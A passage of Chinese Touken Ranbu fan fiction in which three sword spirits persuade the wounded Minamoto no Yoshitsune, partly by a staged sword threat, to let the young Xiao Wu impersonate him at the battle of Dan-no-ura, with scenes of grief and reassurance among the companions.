但是他的脚步忽然停住了——他发现鹤丸国永并没有跟上来,转头看向来时的方向,鹤丸国永还在出神地盯着时间溯行军撤退的方向看,不知道在想些什么。 “鹤丸?怎么了?哪里还有不对劲的吗?”小乌喊他。 “没事,我就来。”鹤丸国永摇头,朝他走了过来 三刃一同进入营帐中,先是简单做了清洁,换上士兵提供的衣服。 鹤丸国永和千子村正进入中伤都使用了真剑必杀,衣服都快烂完了,小乌伤势还好些,但是出阵服也是划得跟破布一样,也跟着换了衣服,然后接受医师的治疗,来来回回折腾了有快两个小时才彻底弄完。 “感谢三位大人的援助。那么,在下先告退了,大人说几位可以先歇下,明早请来主帐相商要事。”医师收拾好物品,向三刃行了礼,准备离开营帐。 “稍等一下。”鹤丸国永叫t?住了医师,“请劳烦通报大人,我们还有非常重要的事情需要马上告知,请给我们一些时间。” “这”医师很为难,源义经大人受了重伤,闹腾到了这个时候早已过了平日歇息的时间,大人应该尽快歇下养精蓄锐。 “拜托了,事关和平氏战役,非常紧急!”鹤丸国永严肃地看着他。 医师见他非常认真,生怕耽误战事,答应了替他通传,接不接见就是源义经的决定了。 “我们还有什么事要找义经公吗?”小乌茫然地问,源义经没有生命危险,哪里有什么问题? 千子村正不算很了解平安时代的历史,也有些疑惑。 砰! 鹤丸国永突然一拳捶在小木桌上,震得放置在上面的器具也跳了一下,低声骂了一声:“该死的!” 小乌被鹤丸国永突然来的这一下吓了一大跳,但并未完全理解他为什么会如此失态。 鹤丸国永深吸一口气向他们解释:“义经公被伤到了腿,明日、不,半夜已过,已经是今日了,今日清晨战事在即,义经公如今腿上的伤势目测是难以进行跑跳了。” 千子村正忽然明白了鹤丸国永的意思,想到了什么,脸色变得极其难看:“平教经追杀源义经,逼其跳跃八艘船” 鹤丸国永接话:“‘临阵跳跃逃命,堕武者之威’②、‘如猿猴腾跃,损大将之风’③。” “在坛之浦合战中使用出的大跳跃绝技,被世人认为是从天狗习得的武技,这个大跳跃绝技在历史记载中也被称为——” 八艘跳。 在敌人的追杀下、在颠簸的海面上连续跳跃八艘船只,伤了一条腿的源义经是断然做不到的。 小乌的大脑一片空白。 如果历史上关于“八艘跳”的记载那么历史会被改变吗? “那历史”小乌嘴唇颤抖,“是不是就” 他不自觉地将希冀的目光投向鹤丸国永,鹤丸国永站起身反复踱步,在思考着什么,千子村正也同样看着鹤丸国永。 半晌后,鹤丸国永停下脚步,斩钉截铁地说:“不!我们还有办法!” 什么办法?! 小乌和千子村正齐刷刷地看向他,用眼神询问。 鹤丸国永神神秘秘地把手伸进领口里掏了半天。 掏 掏 在两刃耐心即将告罄之际刷地一下掏出来放到他们眼前。 他手指捏着一个非常粗制滥造的十二面骰,也不知道到底是什么时候准备的,很眼熟啊,这不是出阵时扔的那个骰子嘛—— "我们用它来决定吧!" 鹤丸国永一脸认真,但是恶作剧的坏笑已经快憋不住了,面皮忍不住抽动两下暴露了他的坏心眼,当然,这么离谱的解决办法他装得再认真也不会有人信就是了。 除了等等,请根据脑内刃选自行代入。 小乌、千子村正: “请用脑子来决定啊!!!”x2 这算什么办法??? "哈哈哈哈哈哈哈!" “嘶!啊痛痛痛!” 鹤丸国永没笑几声就遭到了报应,牵扯到了腹部的伤口,苦着脸喊痛。 “啊——总之就是这样那样的啦——”鹤丸国永把骰子收起来,凑巧,先前离去帮忙通传的医师又回来了,告知他们源义经同意接见他们,鹤丸国永两步跨到门口掀开了帐门,“哦哦!太好了!” 小乌和千子村正站起要跟上,却被鹤丸国永制止了:“你们不用去,我去就好了。” 千子村正:“什么?为什么就你一个人?” “我自有安排,你们好好休息恢复精力。”鹤丸国永眨眨眼,竖起一根手指到唇边,“特别是小乌,明天有非常重要的事情需要你来帮忙,马上天刚亮就要开战了,你现在最重要的就是睡一觉养足精神,知道吗?” “”小乌欲言又止,最后还是听话了,“好,如果有什么需要我们的一定要告诉我们。” “嗯嗯!我去去就回!” “真是受不了这家伙。”鹤丸国永走后,千子村正啪地一下躺在被褥里抱怨道,“有什么作战计划总是不提前说明。” “我很担心鹤丸会把事情都揽在自己身上”小乌坐立不安。 千子村正仰卧起坐看他一眼,又倒下去,侧身用手指捏着自己的头发把玩:“他既然说了明天会给你很重要的任务,那应该就是心里已经有解决的把握了,相信他吧,他在大事上一向很靠谱。” “也是。” 他应该听鹤丸国永的话立刻睡觉。 睡吧。 第23章 第二十三章 不答应我就杀了你 新更换的主帐内弥漫着浓浓的血腥味和药草的刺鼻的气味。 医师小心翼翼地剪开源义经腿上已经和伤口粘连在一起的布料, 露出血肉模糊、深可见骨的伤口,造成这个伤口的凶器已经不知在何时地消失了,倒也省了一番功夫。 每一次清洗和上药的动作都让源义经猛地一颤, 冷汗浸透了衣衫, 但他咬紧牙关, 硬是没发出多大的声响,甚至还对着身边焦躁的武藏坊弁庆扯出一个安抚的笑容:“无妨,一点皮肉伤罢了,养些时日便好。” “大人!这哪里是小伤!”武藏坊弁庆看着狰狞的伤口, 担心不已,“按现在的局势随时都有可能会和平氏开战, 您的伤”该如何战斗呢? “慌什么?我又不是非要在前线作战。”源义经喘息着, 脸色因大量失血有些苍白,“我坐镇本阵指挥就好,我军已集结八百余艘战船,平氏的船只数量远不及我方,哪怕我不在前线作战,平氏也讨不了好!” 他又对一旁侍立的士兵吩咐, 他们去叫人接待帮助了他的三位救命恩人, 替他们准备好住处和用品,并叫医师为他们治疗。 “但” “” 源义经刚被武藏坊弁庆搀扶着躺下, 负责为小乌三刃治疗的医师便来到主帐门外, 低声通报, 说那三人说有要事希望立刻求见大人。 “什么?!”武藏坊弁庆眼睛一瞪, 怒道:“岂有此理!大人重伤在身,需要休息,有什么事不能等到明天?让他们等明天再议!” “这”医师犹豫了一下, “可那边的大人说,事关近日战事” 武藏坊弁庆听后也有些犹豫,看向源义经:“这,大人您看?” 源义经忍下腿上的疼痛,伸手让武藏坊弁庆将他扶起坐好:“让他们进来吧,那三位屡次救我于为难,是九郎的救命恩人,若非他们相助,我恐怕早已命丧黄泉。数次都保我安然无恙,身手了得,必非等闲。如此急切地要求见,定是有极重要的事情。” “请他们进来吧。” 不多时,营帐门帘被人掀动,鹤丸国永一个人走了进来。 “大人。”鹤丸国永右手环绕于身前,左脚向后,微微躬身下蹲行礼,姿态风雅,虽身着朴素的麻衣,却也遮不住他不俗的气质,“深夜叨扰,请恕在下冒昧。” 源义经:“嗯?只有你一个人吗?你的同伴呢?” “他们已先行歇息,此事我一人来报即可。”鹤丸国永气定神闲地站直,直视源义经,“那么,时间紧迫,我就直说了。” “平氏将于拂晓时分借东向洋流之利,主动向源氏发起进攻。” 此言一出,武藏坊弁庆和源义经一齐惊呼出声:“什么?!” 源义经死死盯着鹤丸国永:“你此言当真?你如何得知军情?又为什么要告知于我?” 若消息为真,那马上就要开战了,他的腿若是因为他无法上战场而导致战事失利。他该如何为兄长打下平氏!为他们的父亲复仇! 源义经攥紧了身下的被褥,指节发白。 “当然。” 鹤丸国永不闪不避,语气坦诚,万分笃定。 “至于如何得知大人只需要知道,我们是为了维护历史而来,让历史按照应有的轨道进行便可。” “历史?” 源义经咀嚼着这个词语,眉头紧锁。 “没错,历史!”鹤丸国永向前一步,烛光在他脸上投下明明暗暗的光影,“义经公,您将在明日的战争中立下赫赫战功,您明日的英勇于奇谋将被后世传颂千载——!” 鹤丸国永的这一番t?在他们眼里狂妄之极的话彻底震住了源义经和武藏坊弁庆,名垂青史这是对一个人是多大的赞誉! 就这样,被这个人像是在宣读神谕一般道出。 “但是——”鹤丸国永话锋一转,光明正大地打量源义经那条伤腿,眼神算不上恭敬,称得上是冒犯,“以您现在的状况,怕是无法做到了。” “放肆!”武藏坊弁庆看到鹤丸国永的表现大怒,提起薙刀指向鹤丸国永,“你!” “弁庆!退下!” 源义经厉声喝止。 “是” 武藏坊弁庆咽下还未出口的话语,虽然仍有不满,但还是退至源义经身边。 源义经没有被鹤丸国永的一番话冲昏了头脑,沉默思考良久后,缓缓开口:“如果你说的话为真,那特意前来说这番话,想必是已经有应对之策了?莫非是有什么办法治好我的腿伤?” “大人明智,但我们并没有办法能够马上治好你的伤。”鹤丸笑了,“但是我们可以派出一人装成大人,替您完成明日所不能完成之事,替您完成这场战争。” 荒谬! 太荒谬了! 两人完全不能接受这种疯狂的办法! “简直胡闹!”源义经终于绷不住了,愤怒地大吼。 这是什么馊主意?想鸠占鹊巢取而代之? 源义经现在是一点都不相信鹤丸国永说的维护历史那一套话,在他眼里就是在装神弄鬼! 源义经:“战场岂是儿戏?!源氏众多将士性命皆系于我一身,此战关乎我源氏兴衰还有我兄长的名誉!尔等身份都不愿表明,来历不明,又如何能担此重任?!” “我源义经!即便是拖着这条腿,爬也会爬到战场的前线!我会亲自赢得这场战争,不需要假于他人之手!” 真麻烦啊鹤丸国永心中暗叹一声。 要不是源义经接触的人太多,无法在众目睽睽之下完美地替代他,必须要得到他的配合,他真想直接把人打晕了直接让他睡到坛之浦合战结束。 他面色不显,目光随意地在营帐内扫视,注意到了营帐内摆放的两幅刀架。 咦? 两幅刀架上分别放着两振太刀,一振他认得,是源氏重宝膝丸啊,现在应该是被叫做薄绿了吧;另一振剑鞘锦包黑漆,刀身未出鞘,虽不得知其全貌,但他明确他对这振没有一点印象,历史记载也似乎只提到了膝丸这一振刀,若源义经还有一振佩刀,为何历史上寂寂无名呢? 不过现在不是探究这个的时候。 “啪!” 鹤丸国永双手猛击,发出一声响亮的声音打断了两人的话。 “既然你们不愿意那就算了——才怪!” 鹤丸国永的声音徒然冷了下来,脸上的笑容收敛,锋芒毕露。 “铮——” 刀出鞘的声音。 鹤丸国永的动作快得不可思议,刀锋划出一道银色的弧光,在两人尚未反应过来的情况下直直劈向源义经的脖颈,杀气毕露。 源义经的瞳孔映上了逐渐逼近的刀刃,但是他在杀气的压力下感觉全身的血液都仿佛被冻结,死亡的阴影笼罩在他的心头,令他动弹不得。 怎么会有人的气势会如此可怕 冰冷的刀锋几乎已经贴上了源义经颈部跳动的血管,再稍加一使劲,就可以轻松地将他的头颅削下。 但就在即将割破皮肤的那一刻,刀,停下了。 源义经这才后知后觉努力吞咽了一下,心脏跳得快要炸开胸膛,差一点就差一点。 “九、九郎大人!!!” 武藏坊弁庆反应过来后惊恐地扑向源义经,鹤丸国永嘴角挑起,手腕一翻,刀刃又转向架在了武藏坊弁庆的脖子上。 “啧。”鹤丸国永的声音压低嗓子,全然没有了先前表现出来的恭敬,如高高在上的神祗般居高临下:“既然历史注定要改变,那么直接杀了你取而代之也是没什么区别。” 说着,刀锋微微下压,武藏坊弁庆的脖颈上瞬间出现一道细细的血线。 “大人!不用管我!我,呃!” 鹤丸国永瞥向源义经:“先杀你。” 又看向刀下的武藏坊弁庆:“还是杀他,对我而言都是一样的,你们都得死。” 近距离与鹤丸国永对视,源义经才惊觉这个人的眼睛红得妖异,看他们的眼神不像是在看人类,而像是在看蝼蚁。 “住手!住手!”源义经失声嘶喊,他毫不怀疑眼前这个人是会真的在下一秒毫不犹豫地割开弁庆的喉管。 就在两人心神俱震,以为生命即将在下一刻终结,几乎要脱口而出同意计划的那一瞬间—— “刷啦!” 鹤丸国永却又干脆利落地收刀入鞘,那恐怖的杀意也随之散去,仿佛刚刚并没有出现什么大不敬地在源氏的大本营中把刀架在主将脖子上威胁的场面一样。 “吓到你们了吗?抱歉抱歉。” 武藏坊弁庆冷汗涔涔而下,情绪大起大落之下竟让他的双腿一时发软不听使唤,重重跪倒下去,但依旧牢牢挡在源义经面前。 真是忠诚的下属。 鹤丸国永很欣赏他。 他后退一步,与两人拉开了距离,脸上又挂起了笑容。 “那么这样吧!”鹤丸国永的语气轻松地像是在和源义经聊家常:“义经公可曾听说过‘友切’?” 什么? “友切?”源义经惊魂未定地看着鹤丸国永,大脑一片混乱,他喘息着努力平定狂跳的心脏,被鹤丸跳跃了十万八千里的话题问得一懵,不明白他为什么突然提到这个,一时跟不上思路,缓了好一会才慢慢回答,“是,友切乃是源氏的重宝,正是家兄佩刀,现已将名改回鬼切。” “那就好。”鹤丸国永点点头,脸上的笑容加深,“那您可知友切传言中的另一名主角?” 第24章 第二十四章 我打平氏?真的假的???…… “友切”的另一个主角?指的是被鬼切切断的那振刀吗? 源义经恍惚了一下, 然后反应过来了:“那不就是吗?” 什么?! 鹤丸国永听到这个名字后脸色变得十分古怪,又重复了一遍:“?” “是,如果你指的是被鬼切切断刀尖的那振刀, 那没错。” 鹤丸国永发现源义经此刻正看着什么后, 突然大笑起来, 兴致盎然。 有趣!这可真是太出乎人意料了!髭切知道吗?膝丸知道吗?小乌他自己知道吗?还是说,这是个谁都不知道的超级大惊吓呢? 太有趣了,可惜他的时间不多了,不然真想把这个发现摸个透彻! 不过没关系。 鹤丸国永停下大笑, 摸了摸下巴,若有所思。 现在不就是个套话的好机会嘛, 也许能让我的计划进行得更加顺利呢? 鹤丸国永收敛了夸张的表情, 武藏坊弁庆鹤源义经都警惕地盯着这个喜怒无常,精神看起来有点不正常的男人,生怕他又突然发难。 “义经公。”鹤丸国永把本体竖着立在地上,两手交叠着压在最上方,声音诚恳无比,“我收回之前说的话, 既然您想知道我们的身份, 我可以如实告知——尤其是我选定的、假扮您的人的身份。” 说着,鹤丸国永在两人震惊的目光中, 身形突然消失, 只剩下漆黑的太刀立在原地, 失去了支撑, 在几秒的静止后开始晃晃悠悠地倒下,在即将落地时又被突然出现的手接住,捞起。 鹤丸国永又凭空出现在他们的面前。 源义经的呼吸急促起来:“你、你是” “器物放置不理百年, 吸取天地精华、积聚怨念或感受佛性后化成灵体,为付丧神。我们是由历史名刀化成的刀剑付丧神。” “那不就是,神明吗?” 若不是亲眼看见鹤丸国永玩了一出大变活人,源义经是绝不可能相信这种鬼话的,但是现在,神明居然真的出现在他的面前 “那各位大人既然选择来帮助源氏,可是因为出自源氏?” 源义经听到自己发问的声音有些颤抖,如果源氏的战争有神明相助,那 “不,我不是,但是负责扮演你的那位是。” 鹤丸国永重新将本体挂回腰间,问他:“你之前见过t?了吧,长着黑色翅膀的那个少年。” 原来是他,他是源氏的刀剑吗?不知是哪一振呢? 源义经喃喃:“是的,我见过” 鹤丸国永:“你在想他是哪振刀?我之前问你的那个问题早已为你揭示答案了。您完全不用担心那位会对源氏不利,相反,他一定会帮助您维护源氏的荣誉。” 啊 啊! 原来是、原来是这位啊! 源义经激动无比。 “是吗?!” 心中的猜想被证实了。 鹤丸国永在心中吹了一声悠长口哨。 让他再多套些话出来吧 小乌被鹤丸国永推醒,他迷迷糊糊地揉揉眼睛,听见千子村正在旁边也被鹤丸国永推醒了,发出悉悉索索的动静。 昨天真是忙活得有点累了,爬起来后脑袋还是懵懵的,耳羽因困倦无精打采地耷拉着,羽毛和那头凌乱的卷发一样四面八方地支棱着,等他出去洗漱完后眼睛才能睁开。 “唔天还没亮啊”小乌和千子村正齐齐打了个哈欠,外面天还黑黢黢的,没有天亮的迹象。 “抱歉抱歉,因为等会穿戴会比较花时间,加上我们得先商量一下昨天我去见义经公的事,所以把你们提早叫起来了。”鹤丸把衣服递给他们让他们换上,自己钻出营帐,隐约听到他在外面和谁在嘀嘀咕咕。 穿戴什么要花很多时间? 两人一头雾水地换好衣服等待,不一会儿鹤丸就又钻了进来,后面跟着好几个捧着盔甲的侍从。 当两刃看见那副被侍从小心翼翼捧在托盘上的红色盔甲时,顿时被吓得完全清醒了——源义经的盔甲怎么在这里啊?! “这、这不是义” 千子村正脱口而出,但又及时止住了。 侍从们放下盔甲朝他们行了一礼后就迅速退出去了,千子村正一把抓住鹤丸国永的袖子:“这是怎么回事?!义经公的盔甲怎么送我们这来了?!” “冷静点,冷静点。”鹤丸国永摆摆手,走到那堆盔甲处,拿起了源义经的那副头盔端详了一下,然后走过来放到他们的面前,告诉他们,“我昨天告诉了义经公我们的目的和身份,当然没有全部托出,只是说了一部分。” 什么?这是可以的吗? 小乌吃惊。 透露身份是不被时之政府允许的吧? “已经到了这种地步了吗”千子村正倒没有特别意外,和小乌解释,“如果当事人愿意配合隐瞒的话,为了维护历史也不是不能利用一下我们的身份或者目的达成利益一致,只是没有人能保证对方真的不会说出去所以我们才会尽力不暴露身份,依我们现在的情况也不是不能这么做。” 然后问鹤丸国永:“所以呢?你和义经公商量了些什么?” 鹤丸国永也安抚地拍了拍肩膀:“没错没错,我们的目标都是赢得这场战争,达成一致意见后,我们只需要派出一个人来扮演源义经完成这场战役就可以了,义经公会配合我们,不会让他手底下的士兵怀疑我们的身份。” 历史记载中著名的八艘跳,指的是平教经在平氏大势已去后,跳上源义经的船企图杀死他给平氏陪葬,源义经在其追上后边逃边站,连续在船只之间跳跃了七次。 对于人类来说在跌宕起伏的海面上保持平衡,并且连续七次跃过数米间距是非常困难的,这也是他们判定源义经伤了腿之后无法再完成八艘跳的原因。 如果由他们付丧神代为完成,那就不是什么难事了。 “所以——” 鹤丸国永指向小乌。 小乌突然想起了鹤丸国永昨天说今天要给予他一项非常重要的任务,要他赶紧去睡觉,顿时有种不祥的预感。 不会吧! 果不其然,下一秒就听见鹤丸国永说:“我向源义经推荐由小乌来扮演。” “欸?” “欸欸欸???” “欸——!!!” 小乌和千子村正同时发出惊叫,声音大得几乎要掀翻帐篷顶。 我吗?我打平氏?真的假的??? “嘘!嘘嘘!”鹤丸国永手忙脚乱地制止他们,“你们是想把整个军营的人都吵醒吗?” 哦哦。 两刃捏住手指在嘴巴前作拉拉链状。 千子村正万分不解:“鹤丸,这太冒险了!” “为什么是小乌?他还没有对人类动过手,也不是实战刀没有战场经验,一下子让他加入这种大型的战场,恐怕不妥。” 虽然他们相处得时间不长,但是千子村正能够看得出来小乌颇具有人性,但缺乏身为刀剑、身为武器自觉。 他还没有完全适应战争,坛之浦战争是一场战争,也是对平氏的屠杀,他很担心小乌作为新手会在心理方面承受不住这么大的压力。 “千子。”鹤丸国永面无表情地看着他,心里觉得有些好笑。 平时明明都是这个人对小乌的要求特别严格,现在却像孩子第一次远游的妈妈一样担心自己养的孩子无法离开他的庇护。 “维护历史所要面对的敌人不只有时间溯行军,还有人类本身,他是要去时之政府的,迟早会接触到这些,如果连这都承受不了,去了也只能做一个供人观赏的藏品。 “你甘愿成为一把在刀架上寸步不移,整天只要沐浴在人类的目光下就能过活的装饰品吗?” 鹤丸国永后半句是对着小乌说的,他的话语在此刻显得有些不近人情,非人的特质体现得淋漓尽致。 “刀剑生来就是为了战争而存在的武器。” 他的决定不容置疑。 “现在战场需要他,他就必须上!” 千子村正:“我明白了。” 小乌的耳羽不安地抖动着,双手交握。 他还从未见过鹤丸国永的这一面,他忽然恍悟过来,鹤丸国永无论在日常表现出来得有多活泼洒脱、多温柔体贴,本质都是为战斗而生的刀剑,思考的角度和人是不一样的。 杀人这件事在此刻前他从未想过,想到自己要杀人后就开始胆怯,开始畏缩不前。 凭着对这个世界的浅薄认识,他一直天真地认为只需要杀时间溯行军就够了,玩旧版ppt游戏时,只需要看着队伍出门,回来不碎刀就可以。 新版也不过是机械地对系统设置的时间溯行军砍砍杀杀,看不到刀剑男士维护历史的过程,体会他们的艰辛。 只有亲身实践,才能知道短短两次传送的金光闪起的期间内,刀剑男士们在历史的洪流中是如何挣扎起伏的,洒遍了泪水与血液。 玩家看不见,审神者大多难以体会。 他既然要学会做一名刀剑男士,那么他的生存方式就必须有所改变,为自己的未来铺路,能够走得更加远。 他也应该学会从作为一把刀剑的角度来思考,来决定自己接下来的行动。 是的,杀人是不可避免的,现在战场需要他,他就不能逃避! “我会做到的!” 小乌的回复掷地有声,握紧了拳头。 “我会努力去做的!为了保护历史,为了大家,为了我自己,我会努力去适应战场,让这次的任务成功!” 说到底,是他辜负了鹤丸和千子的期待,没有保护好源义经才造成了现在的后果,这是他应该做的,他会去努力弥补自己的疏漏。 千子村正见小乌的意志很坚定,勉强放下心来。 但是他还有疑问没有得到解答。 “为什么非得是小乌来扮演源义经?我们不行吗?” 第25章 第二十五章 假冒源氏重宝吗?那很有活…… “首先当然是体型啦!义经公可是比小乌还矮欸, 以小乌的身高和骨架套上盔甲后才能在最大程度上混淆他们之间的体型,不会让人看出来。”鹤丸国永指了指千子村正又比划了一下自己的胸口处,“我们都太高了, 没办法假扮义经公。” 这个确实。 千子村正认同, 但又不那么认同。 “但这个理由显然不够充分。” “当然, 不只是因为这个。” 鹤丸国永看向小乌,让他站起来,然后招呼千子村正过来一起帮小乌把盔甲穿上,让小乌一个人穿肯定穿不明白, 两个人帮帮忙。 然后接着说:“我告诉他小乌是出自源氏的刀剑,立场天然偏向源氏, 他会义无反顾地维护源氏的荣耀, 这也是我们三番五次帮助他的原因。” “在这个时代,鹤丸国永是平氏将军的刀剑,而你千子村正尚未诞生,只有小乌本身就t?是诞生于源氏的刀剑,他是最合适不过的刃选。” 小乌听得一愣一愣的:“啊?我?但是传闻都说我是被髭切大人切断的,然后又被源氏抛弃送去了平氏, 从世人的角度看, 我更有可能会憎恨源氏吧?义经公怎么会信任我?” 义无反顾地维护源氏荣耀什么的 小乌听到这句话心情很复杂。 他是由源氏家族下令而诞生的,其恩情他永远不会忘记;但源氏不仅给他编造了不好的传闻给髭切造势, 又亲手将他抛弃, 他被修复后对在源氏的记忆也变得很模糊, 所以他对源氏一点感情都没有, 甚至可以说对源氏又爱又恨。 出于创造他的恩情,他愿意帮助源氏,但说是什么义务, 就有点让人不适了,他听着膈应。 他现在可不把自己当作是源氏的刀,当然,平氏就更不是了,他还记得如果不是小乌丸出手相救,他早就被平家家主斩断了。 千子村正听到后讽刺地哼了一声,他从小乌那里听说过友切传言的真相,他并不是如传闻那样被髭切切断的,而是被屏风压断的:“传言这种东西真是不负责任啊,你不需要去理会那些谣言,也不需要被传闻所影响,自己知道真相就好了。” “嗯嗯,所以我没有用你的真实身份哦。”鹤丸国永狡黠地笑起来,“你现在在源义经面前可是源氏重宝,之后和他碰面可别露馅了。” 哈? 哈??? 等等等等??? “什么源氏重宝?!”小乌不知这短短的几分钟内已经被吓到多少次了,“你到底和义经公是怎么介绍我的啊!难道谎称我是髭切大人吗?但是万一义经公见过髭切大人的本体岂不是就暴露了吗?” 他焦虑得开始啃手指。 “我的长相也配不上拥有斩鬼刀之称的本科” 颜色从某一种程度来说能够在很大程度上影响人的第一印象,他们三个黑色系、三双红眼睛的站在一排,看着都有点发邪。 更别提他还有非人特征 “膝丸大人的话就更说不通了,义经公怎么会认不出自己的佩刀呢,只要看一眼我的本体就能分辨出来了” 小乌苦恼地看向鹤丸国永。 “放心吧!哪个都不是!”鹤丸国永示意他抬手,帮他套上内衬,“我昨天去找义经公的时候发现他还有一振佩刀,和你的本体一样都是黑色的,虽然刀鞘的样式不太一样,但是只要不拔出你的本体来比对就没关系,刀鞘只要说是后世的人给你更换的就行了。” “所以我当时灵机一动!指着那把刀说那是你,正好义经公还有在鞍马寺修行时与鞍马山僧正坊大天狗学习的传闻,如果是他的佩刀的话,你的翅膀也可以和这个传闻沾点边,说是被他这个主人影响而产生的,然后就这样那样地被我忽悠过去了。” 鹤丸国永不禁感叹自己真是天才! 鹤丸国永拿起胸甲给他穿好,小乌被沉重的胸甲压得肩膀一沉。 他一边看着正在帮他系侧边系带的鹤丸国永,听到鹤丸国永的解释,脑子更迷糊了。 啊?所以他现在是被鹤丸国永安上了一个源义经佩刀的身份? 欸?源义经还有其他佩刀吗? 他以为只有膝丸大人来着,不过如果没有被历史记录下来的话也是有可能的,还是刀的时候他也没有见过源义经 啊,那源氏重宝是怎么回事,那把刀也是源氏重宝吗? 哦哦难道是骗源义经那把不知名的佩刀在后世也被称为源氏重宝吗! 好厉害啊鹤丸,不愧是你! 小乌的CPU烧了,开始胡乱找补。 小乌:猪脑过载jpg. 听不懂。 千子村正默默地把最后一条系带给他系紧,然后无语地给了他后背一巴掌,话语里带着自求多福的意味:“好了。” 这小傻子一看表情就知道没完全听懂,反正鹤丸国永说什么他就信什么,被忽悠得一愣一愣的。 怎么可能随便指着一把刀说它是源氏重宝就会信它真的是源氏重宝? 如果这个名号这么好得,那源氏重宝可不只髭切膝丸两刃了,只要是源氏刀都能掺一脚。 小乌被拍得一哆嗦,脑子里突然冒出一个念头: 等等!那我岂不是要在膝丸大人面前假冒源氏重宝吗?!还要假扮他的主人! 他低头看向自己身上象征着源义经的赤红色铠甲,只觉得一阵天旋地转。 那很有活头了 鹤丸国永和千子村正在帮小乌穿好后,自己也麻利地穿好了普通士兵的衣服和铠甲。 他们要先提前溜到属于主将的那艘船上躲好,等时机成熟后替换源义经出来。 他们用衣服把源义经的头盔裹好,趁着天还未亮溜出营帐,沿着源义经安排的路线一路无事地成功上了船,进入主将的船舱。 呃呃,好重啊 小乌痛苦地活动了一下肩膀。 他的出阵服没有护甲,穿起来可轻松了,套上盔甲后感觉沉甸甸的浑身难受。 又捋捋背后的长发,犯起了难。 因为不会扎头发,他平时一直都是能披就披,实在不方便了就拿根绳子随便缠几圈凑合,这会想带头盔就必须盘结实了才行,但他没有那个手艺。 他看向长头发的千子村正,眼里写着两个字:救救。 千子村正接收到信号“huhuhu”地笑着过来了,解下自己的白色发带,走到小乌身后,动作很利落,三下五除二就把小乌的长发束紧,盘好固定。 就是太用力了点不是很温柔。 小乌:妈,头发扎得有点紧jpg. “好了。”千子村正退开。 鹤丸国永靠在船舱壁上,看着那根熟悉的发带,想起了一个人,让他有些怀念:“等今天这场仗打完了,我们回去看看蜻蛉切吧?” 千子村正整理自己散乱的头发的手指顿了一下,随即颔首同意:“也好,是该去看看他了。” 小乌不太适应头顶的重量,小心翼翼地活动一下脖子,听到他们主动提到了蜻蛉切,终于敢提出自己的疑问:“那个,那位蜻蛉切先生现在是在其他地方吗?” 他记得鹤丸说过千子前段时间刚刚失去了一位重要的家人,他以为是蜻蛉切,结果怎么听这话像是还活在其他地方? 不甚宽敞的船舱内安静了一瞬,连其他人的呼吸声都能听到。 鹤丸国永带着询问的目光看向千子村正,千子村正沉默了几秒,目光落在小乌脑后的那根发带上。 “他回归本灵了,上个月在屋岛之战我们遇到了检非违使,蜻蛉切为了掩护我们撤退碎刀了。” 他伸手轻轻碰了碰发带:“这根发带就是蜻蛉切留下的。” 啊!那岂不是非常重要的遗物吗! 小乌僵住了,下意识想抬手去摸,指尖却在离头发几寸的地方停住了,想碰又不敢碰。 “戴着吧。”千子村正把他的手拉下来。 “等脱离了检非违使的追击后我们返回去寻找蜻蛉切,收集了他的碎片就地埋葬了,不在我们现在居住的那个地方,所以才说要回去看看。” 千子村正透过帘子的缝隙望向海平面,海天相接的地方已经开始隐隐泛白。 他们埋葬了蜻蛉切,却连墓碑都不敢竖,生怕上面留下的信息会在预料不到的地方对历史产生影响,只有一个小小的土包。 他垂下眼睛,掩去了眼中的痛楚。 “蜻蛉切是个彻头彻尾的老好人,正直忠诚,和我这个‘不详’的妖刀截然相反,审神者没理由针对他,他也得罪不到那个人。本来只有我被驱逐,结果那个蠢货非说不能抛下家人不管,跑去请示审神者,要和我一起走” “在你来之前,洗衣做饭这些事,大部分都是他在做,总是默默地在背地里把一切都为我们打理好。” 怪不得在外面生活快一年了,他们的家务活还做得惨不忍睹。 小乌的心情变得难以言喻,心脏像是被柠檬汁浸泡过,酸酸涩涩,让舌尖都开始发苦。 刀剑男士本应该为信赖且喜爱的主君而活跃在战场上,下来战场也可以在本丸、在和兄弟姐妹和同僚的欢声笑语中过着平静安宁的生活。一起喝茶,一起抱怨刀为什么要喂马种田,分享拥有人身后生活的点t?点滴滴。 而不是像他所看到的这样,因为一个品行恶劣、不负责任的审神者,被迫颠沛流离,碎刀后连一个像样的坟墓都无法拥有,只能深埋于荒野地下,最后一点痕迹也被抹除。 第26章 第二十六章 坛之浦合战拉开序幕…… “呜” 压抑不住的呜咽声从喉咙中溢出, 泪水毫无预兆地汹涌而出,像断线的珠子,大颗大颗地砸在地板上, 晕开深色的水渍。 “小乌?!” “怎么了?我头发扎太紧了吗?” 都给疼哭了? 鹤丸国永和千子村正都被他吓了一跳, 手忙脚乱地围上来。 小乌自己也吓了一条, 他慌忙地抬手去擦眼泪,越擦越多,声音断断续续:“对、对不起,我没有想哭的, 不知道为什么突然就对不起呜呜我缓一下就好了不用管我对不起我控制不住,呜、对不起, 对不起对不起的” 他怕极了鹤丸国永和千子村正会因此认为他是个遇上什么坏事就只会掉眼泪的懦夫、拖油瓶, 拼命地想止住哭泣,可是泪水根本止不住。 小乌蹲下埋下头不想让他们看到自己的样子,他的身体不断颤抖,手脚和脸颊发麻,又害怕又羞愧:“再给我一点时间呜呜呜,对不起” 自他发觉他的死亡那一刻就开始, 到流浪后匮乏的物质条件, 战斗的残酷,同伴严重的伤情, 再到现在对于没能保护好源义经的自责, 不断累积的恐惧、迷茫、孤独彻底爆发了, 冲垮了他一直勉强维持的镇定。 “都是因为我没有保护好义经公, 鹤丸才那么辛苦还要去和义经公谈判昨天一定没休息多久又要马上起来替我善后” 小乌不太懂鹤丸国永和源义经的交谈过程是怎么样的,但是他知道在那么短短的时间内想出解决办法,还要拖着一身伤冒着被源义经杀死的风险去谈这种事, 一定是困难的。 千子村正长叹一声,看向鹤丸国永:我就知道会这样。 小乌连维护历史这个概念都还懵懵懂懂,一下子突然把重任压在他一人身上,给他一个“如果他失败了那这个历史就会完蛋”的概念,以他现在的承受能力难以负担。 就算是千子村正自己来他也会非常有压力,害怕会把事情搞砸。 鹤丸国永也不是不知道这个道理,揠苗助长不可取,但是他也没有办法,已经没有更多的时间让他慢慢成长了。 “没事啦没事啦,那个时候就算是我们三个一起也不一定能拦住,而且刃不可能永远不会犯错的,我出阵的时候也闹出过不少岔子,都是队友在帮我兜底,所以我并不介意哦,你只是缺少经验而已。” 鹤丸国永蹲下来拍拍他的头。 见小乌一时半会停不下来,干脆胡搅蛮缠,用眼神和千子村正交流:都是你把他说哭了,快哄哄。 千子村正:??? 你要脸吗? 